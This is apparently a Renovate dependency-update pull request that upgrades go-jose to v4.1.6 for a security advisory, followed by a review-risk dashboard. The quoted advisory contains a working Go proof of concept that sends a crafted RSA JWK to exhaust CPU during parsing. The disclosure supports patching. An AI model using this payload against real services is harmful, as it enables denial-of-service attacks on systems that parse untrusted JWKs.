← Back to Pull requests

Update module github.com/go-jose/go-jose/v4 to v4.1.6 [SECURITY] #3016

Closed
unknown closed this pull request without merging on Oct 30, 2026 12:15 UTC
View on GitHub
unknown unknown commented on Oct 29, 2026 19:52 UTC
Author

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| github.com/go-jose/go-jose/v4 | v4.1.5 → v4.1.6 | !age | !confidence |

---

Go JOSE: DoS when parsing JWKs that contain RSA keys


CVE-2026-116587 / GHSA-mgcc-cww5-fp2q

<details>
<summary>More information</summary>

Details


##### Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

##### Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

##### Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

##### Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

##### Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Severity


  • CVSS Score: 7.5 / 10 (High)

  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • References


  • https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q

  • https://nvd.nist.gov/vuln/detail/CVE-2026-116587

  • https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230

  • https://github.com/go-jose/go-jose/releases/tag/v4.1.6

  • https://github.com/advisories/GHSA-mgcc-cww5-fp2q
  • This data is provided by the GitHub Advisory Database (CC-BY 4.0).
    </details>

    ---

    Release Notes

    <details>
    <summary>go-jose/go-jose (github.com/go-jose/go-jose/v4)</summary>

    v4.1.6

    Compare Source

    Fixed Security Issues

    This release contains a fix for <https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q>

    Breaking Changes

    The fix for <https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q> involves capping the size of the RSA modulus of keys accepted by JWK parsing. This limit is 4096 bits. If you need this to be higher, set MaxRSAModulusBits before performing any JWK parsing.

    Changed

  • Reject mismatched JWE CEK lengths by @&#8203;akshithg in #&#8203;266

  • Add a tests containerfile and threat model by @&#8203;mcpherrinm in #&#8203;300

  • Fix error message for future issued tokens by @&#8203;inahga in #&#8203;303
  • Full Changelog: <https://github.com/go-jose/go-jose/compare/v4.1.5...v4.1.6>

    </details>

    ---

    Configuration

    📅 Schedule: (in timezone UTC)

  • Branch creation

  • - At any time (no schedule defined)
  • Automerge

  • - At any time (no schedule defined)

    🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

    ♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

    🔕 Ignore: Close this PR and you won't be reminded about this update again.

    ---

    - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

    ---

    This PR was generated by Mend Renovate. View the repository job log.
    <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODguMiIsInVwZGF0ZWRJblZlciI6IjQ0LjE4OC4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJzZWN1cml0eSJdfQ==-->

    Diff: 650 lines (+487 / -163) across 8 files Reviewer: mtrmac Review duration: 983m
    All Vouch review confidence checks passed
    Residual risk 0.30 = Change Risk (0.75) × (1 − Review Confidence (0.60)). Review depth and reviewer attention state are adequate.
    Model 1 · Change Risk (XGBoost)
    Score: 0.75 · 650 lines diff across 8 files
    0.75
    Model 2 · Review Depth (DistilBERT)
    Depth Score: 0.17 · 1 substantive comment(s)
    0.17
    Model 3 · Review Timing & Attention
    Session adequacy: 100% · Reviewer familiarity: 35%
    60%
    Bedrock Claude 3 · Risk Narration
    (disconnected)
    Groq
    Groq Risk Narration
    AWS Bedrock is currently disconnected. Generate high-confidence PR triage narration on-demand using Groq.
    Model 1 · Change Risk Attribution
    SHAP Weights
    Diff Size diff_size
    0.388
    Shallow Review Depth shallow_review_depth
    0.289
    Sensitive Paths sensitive_paths
    0.075
    Real PR Conversation Timeline
    1 comments
    "Review active on #3016"
    general weight: 0.35
    Reviewers
    Assignees
    Unassigned
    Labels
    risk: low confidence: 60.5% reviewed sensitive_module
    Vouch Risk Breakdown
    AI-powered review risk analysis
    Change Risk
    Change Risk · Model 1 (XGBoost)
    Predicted defect probability (0.00–1.00) based on diff churn, modified sensitive files, and author risk history.
    Score: 75.2% (HIGH) · Higher = larger blast radius
    75.2%
    Review Confidence
    Review Confidence · Models 2 & 3
    Scrutiny score (0.00–1.00) combining DistilBERT semantic review depth with reviewer familiarity and session dwell time.
    Score: 60.5% · Lower = rushed or shallow review
    60.5%
    Residual Risk
    Residual Risk · Core Equation
    Residual = Change × (1 − Confidence)
    Unmitigated risk surviving review. ≥ 0.65 triggers an automated re-queue to protect production.
    Score: 29.7% · Safe to merge
    29.7%